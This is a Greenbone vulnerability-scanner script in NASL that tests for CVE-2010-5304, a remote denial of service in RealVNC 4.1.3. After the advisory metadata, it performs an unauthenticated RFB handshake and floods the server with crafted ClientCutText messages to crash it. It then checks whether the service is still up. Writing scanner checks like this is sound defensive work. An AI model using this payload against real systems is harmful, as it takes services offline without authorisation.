RealVNC 4.1.3 'ClientCutText' Message Remote Denial of Service Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100622");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2010-05-04 19:30:07 +0200 (Tue, 04 May 2010)");
  script_cve_id("CVE-2010-5304");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-02-07 19:45:00 +0000 (Fri, 07 Feb 2020)");
  script_name("RealVNC 4.1.3 'ClientCutText' Message Remote Denial of Service Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/39895");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_category(ACT_DENIAL);
  script_family("Denial of Service");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("vnc.nasl");
  script_require_ports("Services/vnc", 5900, 5901, 5902);
  script_mandatory_keys("vnc/detected");

  script_tag(name:"summary", value:"RealVNC Viewer is prone to a remote denial-of-service vulnerability.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to crash the affected application,
  denying service to legitimate users.");

  script_tag(name:"affected", value:"RealVNC 4.1.3 is vulnerable. Other versions may also be affected.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  exit(0);
}

include("port_service_func.inc");

port = service_get_port(default:5900, proto:"vnc");

soc = open_sock_tcp(port);
if(!soc)exit(0);

buf = recv(socket:soc, length:8192);
if(isnull(buf) || "RFB" >!< buf) {
  close(soc);
  exit(0);
}

send(socket:soc, data:buf);
buf = recv(socket:soc, length:8192);

if(isnull(buf)) {
  close(soc);
  exit(0);
}

send(socket:soc, data:raw_string(0x01));
buf = recv(socket:soc, length:8192);

if(strlen(buf) == 4 &&
   ord(buf[0]) == 0 &&
   ord(buf[1]) == 0 &&
   ord(buf[2]) == 0 &&
   ord(buf[3]) == 0) { # SecurityResult OK. The server must be set to No Authentication for this to work

  send(socket:soc, data:raw_string(0x01));
  txt = crap(data:raw_string(0xAA),length:4000);
  exploit = raw_string(0x06,0x00,0x00,0x00) + txt;

  for(i=0;i<20;i++) {
    send(socket:soc, data:exploit);
  }

  if(soc)
    close(soc);

  soc1 = open_sock_tcp(port);
  if(!soc1) {
    security_message(port:port);
    exit(0);
  }

  buf = recv(socket:soc1, length:8192);
  if(buf == NULL) {
    security_message(port:port);
    exit(0);
  } else {
    close(soc1);
  }
} else {
  close(soc);
  exit(0);
}

exit(0);